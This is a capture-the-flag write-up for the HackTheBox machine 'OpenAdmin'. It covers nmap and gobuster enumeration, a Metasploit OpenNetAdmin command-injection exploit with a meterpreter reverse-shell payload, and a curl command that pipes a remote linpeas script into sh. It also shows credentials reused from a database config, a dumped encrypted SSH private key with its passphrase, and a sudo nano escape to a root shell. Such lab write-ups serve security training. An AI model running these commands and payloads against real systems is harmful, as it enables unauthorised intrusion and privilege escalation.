OpenAdmin HTB Writeup | Linux, Intro to Dante, OpenNetAdmin

Metadaten

Name: OpenAdmin
Plattform: Linux
Kategorie: HTB Machine
Schwierigkeit: Easy
Ziel(e): User, Root/Administrator
Kurzbeschreibung des Szenarios: HTB Machine Writeup zu OpenAdmin aus dem Intro-to-Dante-Kontext.

Target Info

ip 10.10.10.171

Recon / Enumeration

nmap

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-05 20:19 CEST
Nmap scan report for 10.10.10.171
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds

enum web

gobuster dir -u 10.10.10.171 -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.171
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/artwork              (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/index.html           (Status: 200) [Size: 10918]
/music                (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
Progress: 2654 / 4615 (57.51%)[ERROR] Get "http://10.10.10.171/handles": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/server-status        (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Initial Foothold

msf6 exploit(unix/webapp/opennetadmin_ping_cmd_injection) set payload linux/x64/meterpreter/reverse_tcp

User Privilege Escalation

user enum

cd /home
ls
jimmy
joanna

linpeas upload & run

curl -L http://10.10.14.24/linpeas.sh | sh

hint: The OpenNetAdmin forum post shows that the database configuration details are stored in the file ona/local/config/database_settings.inc.php .

Database credentials are found, and reusing this password for jimmy gives us SSH access creds!

jimmy:n1nj4W4rri0R!

Listen Ports

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -

sudor

Sudoers file: /etc/sudoers.d/joanna is readable
joanna ALL=(ALL) NOPASSWD:/bin/nano /opt/priv

found: /var/www/internal$ cat index.php


<?php

   ob_start();

   session_start();

?>

  

<?

   // error_reporting(E_ALL);

   // ini_set("display_errors", 1);

?>

  

<html lang = "en">

  

   <head>

      <title>Tutorialspoint.com</title>

      <link href = "css/bootstrap.min.css" rel = "stylesheet">

  

      <style>

         body {

            padding-top: 40px;

            padding-bottom: 40px;

            background-color: #ADABAB;

         }

  

         .form-signin {

            max-width: 330px;

            padding: 15px;

            margin: 0 auto;

            color: #017572;

         }

  

         .form-signin .form-signin-heading,

         .form-signin .checkbox {

            margin-bottom: 10px;

         }

  

         .form-signin .checkbox {

            font-weight: normal;

         }

  

         .form-signin .form-control {

            position: relative;

            height: auto;

            -webkit-box-sizing: border-box;

            -moz-box-sizing: border-box;

            box-sizing: border-box;

            padding: 10px;

            font-size: 16px;

         }

  

         .form-signin .form-control:focus {

            z-index: 2;

         }

  

         .form-signin input[type="email"] {

            margin-bottom: -1px;

            border-bottom-right-radius: 0;

            border-bottom-left-radius: 0;

            border-color:#017572;

         }

  

         .form-signin input[type="password"] {

            margin-bottom: 10px;

            border-top-left-radius: 0;

            border-top-right-radius: 0;

            border-color:#017572;

         }

  

         h2{

            text-align: center;

            color: #017572;

         }

      </style>

  

   </head>

   <body>

  

      <h2>Enter Username and Password</h2>

      <div class = "container form-signin">

        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>

          <?php

            $msg = '';

  

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {

              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {

                  $_SESSION['username'] = 'jimmy';

                  header("Location: /main.php");

              } else {

                  $msg = 'Wrong username or password.';

              }

            }

         ?>

      </div> <!-- /container -->

  

      <div class = "container">

  

         <form class = "form-signin" role = "form"

            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);

            ?>" method = "post">

            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>

            <input type = "text" class = "form-control"

               name = "username"

               required autofocus></br>

            <input type = "password" class = "form-control"

               name = "password" required>

            <button class = "btn btn-lg btn-primary btn-block" type = "submit"

               name = "login">Login</button>

         </form>

  

      </div>

  

   </body>

</html>

another found main.php

we have a key

jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

creds!

johanna:bloodninjas

ssh -i key joanna@10.10.10.171 Enter passphrase for key ‘key’:

Lateral Movement (optional)

Root Privilege Escalation

joanna@openadmin:~$ sudo -l Matching Defaults entries for joanna on openadmin: env_keep+=“LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET”, env_keep+=“XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH”, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, mail_badpass

User joanna may run the following commands on openadmin: (ALL) NOPASSWD: /bin/nano /opt/priv

joanna@openadmin:~$ sudo /bin/nano /opt/priv

^r 
^x
reset; sh 1>&0 2>&0

By launching nano with sudo and abusing its read/execute functionality:

Ran: sudo /bin/nano /opt/priv
Inside nano: Pressed Ctrl + R, then Ctrl + X
Entered command: reset; sh 1>&0 2>&0

OpenAdmin